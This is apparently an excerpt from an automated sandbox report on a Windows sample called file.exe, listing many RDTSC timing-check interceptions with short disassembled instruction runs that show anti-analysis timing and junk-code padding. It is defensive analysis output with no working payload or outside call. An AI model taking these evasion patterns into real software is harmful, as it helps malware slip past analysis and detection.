Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B39407 second address: B3941A instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 jmp 00007F1B90BB190Dh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AB9097 second address: AB90A0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AB90A0 second address: AB90A6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AB90A6 second address: AB90AA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B381A3 second address: B381A7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B382DF second address: B382E4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B382E4 second address: B382F1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jnc 00007F1B90BB1906h 0x00000009 push ecx 0x0000000a pop ecx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B382F1 second address: B382FE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 js 00007F1B911A1E1Ch 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B38461 second address: B38465 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B38465 second address: B3846B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B3846B second address: B38481 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1B90BB190Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B38481 second address: B38485 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B38485 second address: B38489 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B38489 second address: B3848F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B385DC second address: B385F1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1B90BB1910h 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B388A3 second address: B388A7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B38A29 second address: B38A33 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 ja 00007F1B90BB1906h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B38A33 second address: B38A39 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B38CDE second address: B38CE4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B38E9E second address: B38EAC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1B911A1E1Ah 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B38EAC second address: B38EBA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jg 00007F1B90BB1906h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B40E63 second address: B40E79 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F1B911A1E20h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B40E79 second address: B40EC5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1B90BB190Ah 0x00000007 pushad 0x00000008 jmp 00007F1B90BB190Dh 0x0000000d push eax 0x0000000e pop eax 0x0000000f jmp 00007F1B90BB1915h 0x00000014 jmp 00007F1B90BB1913h 0x00000019 popad 0x0000001a pop edx 0x0000001b pop eax 0x0000001c push edi 0x0000001d push eax 0x0000001e push edx 0x0000001f push eax 0x00000020 push edx 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B40EC5 second address: B40ECB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B40ECB second address: B40ECF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B40ECF second address: B40ED3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B433BC second address: B433C0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B433C0 second address: B433CC instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push esi 0x0000000b pop esi 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B433CC second address: B433D0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B433D0 second address: B433E6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F1B911A1E1Ch 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B485B3 second address: B485BB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push ebx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B4889F second address: B488C6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pushad 0x00000006 popad 0x00000007 jne 00007F1B911A1E16h 0x0000000d pop esi 0x0000000e popad 0x0000000f pushad 0x00000010 jp 00007F1B911A1E1Eh 0x00000016 pushad 0x00000017 push ebx 0x00000018 pop ebx 0x00000019 push esi 0x0000001a pop esi 0x0000001b push esi 0x0000001c pop esi 0x0000001d push eax 0x0000001e push edx 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AF44DD second address: AF451F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 mov dword ptr [esp], eax 0x00000008 sub dword ptr [ebp+122D1D11h], ecx 0x0000000e push 00000004h 0x00000010 push 00000000h 0x00000012 push edi 0x00000013 call 00007F1B90BB1908h 0x00000018 pop edi 0x00000019 mov dword ptr [esp+04h], edi 0x0000001d add dword ptr [esp+04h], 0000001Dh 0x00000025 inc edi 0x00000026 push edi 0x00000027 ret 0x00000028 pop edi 0x00000029 ret 0x0000002a mov dword ptr [ebp+1246EC58h], esi 0x00000030 push eax 0x00000031 push eax 0x00000032 push edx 0x00000033 push eax 0x00000034 push edx 0x00000035 push eax 0x00000036 push edx 0x00000037 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AF451F second address: AF4523 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AF4523 second address: AF4529 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AF4529 second address: AF452F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AF452F second address: AF4533 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B498F8 second address: B49907 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F1B911A1E1Ah 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B4D331 second address: B4D335 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B4D4A4 second address: B4D4C7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F1B911A1E28h 0x00000009 pop esi 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B4D4C7 second address: B4D4ED instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 js 00007F1B90BB1906h 0x0000000a pushad 0x0000000b popad 0x0000000c popad 0x0000000d jmp 00007F1B90BB1919h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B4D4ED second address: B4D4F7 instructions: 0x00000000 rdtsc 0x00000002 js 00007F1B911A1E1Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B4D4F7 second address: B4D501 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 pushad 0x00000007 popad 0x00000008 push eax 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B4D501 second address: B4D505 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B4D7C6 second address: B4D7E7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1B90BB190Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jmp 00007F1B90BB1910h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B4D7E7 second address: B4D7FC instructions: 0x00000000 rdtsc 0x00000002 jne 00007F1B911A1E1Eh 0x00000008 pushad 0x00000009 push ebx 0x0000000a pop ebx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B4D7FC second address: B4D802 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B4D802 second address: B4D80E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push ebx 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B532DB second address: B532E1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B532E1 second address: B532E9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B532E9 second address: B53303 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F1B90BB1916h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B53303 second address: B53309 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B53309 second address: B5333F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1B90BB190Ah 0x00000007 jnl 00007F1B90BB190Eh 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007F1B90BB1915h 0x00000016 pushad 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B5333F second address: B53345 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B53345 second address: B5334A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B5259E second address: B525A2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B525A2 second address: B525AC instructions: 0x00000000 rdtsc 0x00000002 js 00007F1B90BB1906h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B5285C second address: B52880 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 popad 0x00000007 pushad 0x00000008 push esi 0x00000009 pop esi 0x0000000a jmp 00007F1B911A1E28h 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B52880 second address: B52885 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B52B50 second address: B52B54 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B5A2B1 second address: B5A2B8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 pop esi 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B5AAEE second address: B5AAF4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B5AD61 second address: B5AD73 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 jl 00007F1B90BB1912h 0x0000000b push eax 0x0000000c pushad 0x0000000d popad 0x0000000e pop eax 0x0000000f push esi 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B5B056 second address: B5B060 instructions: 0x00000000 rdtsc 0x00000002 ja 00007F1B911A1E16h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B62F3E second address: B62F42 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B63276 second address: B6329F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push edx 0x00000008 jmp 00007F1B911A1E26h 0x0000000d pop edx 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 popad 0x00000012 jns 00007F1B911A1E16h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B6329F second address: B632B2 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b jc 00007F1B90BB1906h 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B632B2 second address: B632B6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B632B6 second address: B632C8 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push ecx 0x00000009 js 00007F1B90BB1906h 0x0000000f pushad 0x00000010 popad 0x00000011 pop ecx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B632C8 second address: B632D2 instructions: 0x00000000 rdtsc 0x00000002 jns 00007F1B911A1E2Bh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B636F0 second address: B636F4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B636F4 second address: B63704 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 je 00007F1B911A1E16h 0x0000000e push edx 0x0000000f pop edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B63704 second address: B6371A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1B90BB1912h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B6BB06 second address: B6BB15 instructions: 0x00000000 rdtsc 0x00000002 jg 00007F1B911A1E1Ah 0x00000008 push eax 0x00000009 pop eax 0x0000000a pushad 0x0000000b popad 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B6BB15 second address: B6BB21 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jc 00007F1B90BB1906h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B69DBA second address: B69DFC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jmp 00007F1B911A1E29h 0x0000000c jl 00007F1B911A1E16h 0x00000012 pushad 0x00000013 popad 0x00000014 jmp 00007F1B911A1E23h 0x00000019 popad 0x0000001a popad 0x0000001b pushad 0x0000001c push eax 0x0000001d push edx 0x0000001e push edi 0x0000001f pop edi 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B69DFC second address: B69E3B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1B90BB1917h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a jo 00007F1B90BB1906h 0x00000010 pushad 0x00000011 popad 0x00000012 popad 0x00000013 jmp 00007F1B90BB1912h 0x00000018 je 00007F1B90BB190Ch 0x0000001e push eax 0x0000001f push edx 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B6A131 second address: B6A136 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B6A136 second address: B6A17F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1B90BB1912h 0x00000007 jne 00007F1B90BB1925h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 jnl 00007F1B90BB190Ch 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B6A17F second address: B6A187 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 push edi 0x00000007 pop edi 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B6A434 second address: B6A448 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007F1B90BB190Bh 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B6A5DA second address: B6A5F4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1B911A1E26h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B6AA37 second address: B6AA4C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1B90BB1911h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B6B2E1 second address: B6B2F4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1B911A1E1Fh 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B6FC25 second address: B6FC31 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jg 00007F1B90BB1906h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B6FA3C second address: B6FA42 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B6FA42 second address: B6FA65 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F1B90BB1919h 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B6FA65 second address: B6FA82 instructions: 0x00000000 rdtsc 0x00000002 js 00007F1B911A1E16h 0x00000008 push edx 0x00000009 pop edx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pop edx 0x0000000d pop eax 0x0000000e pushad 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 popad 0x00000013 jmp 00007F1B911A1E1Ah 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B6FA82 second address: B6FA97 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1B90BB1911h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B6FA97 second address: B6FAD4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jmp 00007F1B911A1E22h 0x0000000c jmp 00007F1B911A1E21h 0x00000011 jmp 00007F1B911A1E21h 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B6FAD4 second address: B6FAE1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jns 00007F1B90BB1906h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B74539 second address: B74554 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jno 00007F1B911A1E16h 0x0000000a jmp 00007F1B911A1E1Fh 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B74554 second address: B7458D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 ja 00007F1B90BB1906h 0x0000000c push esi 0x0000000d pop esi 0x0000000e jmp 00007F1B90BB1917h 0x00000013 popad 0x00000014 push esi 0x00000015 push ebx 0x00000016 pop ebx 0x00000017 pop esi 0x00000018 jmp 00007F1B90BB190Ah 0x0000001d popad 0x0000001e push edi 0x0000001f push esi 0x00000020 push eax 0x00000021 push edx 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B73FB6 second address: B73FBC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B73FBC second address: B73FCC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a jng 00007F1B90BB1906h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B73FCC second address: B73FD0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B74137 second address: B7413D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B74270 second address: B74288 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1B911A1E23h 0x00000007 push esi 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B871EF second address: B8720A instructions: 0x00000000 rdtsc 0x00000002 jne 00007F1B90BB1906h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jmp 00007F1B90BB1911h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B8720A second address: B87210 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B87210 second address: B87216 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
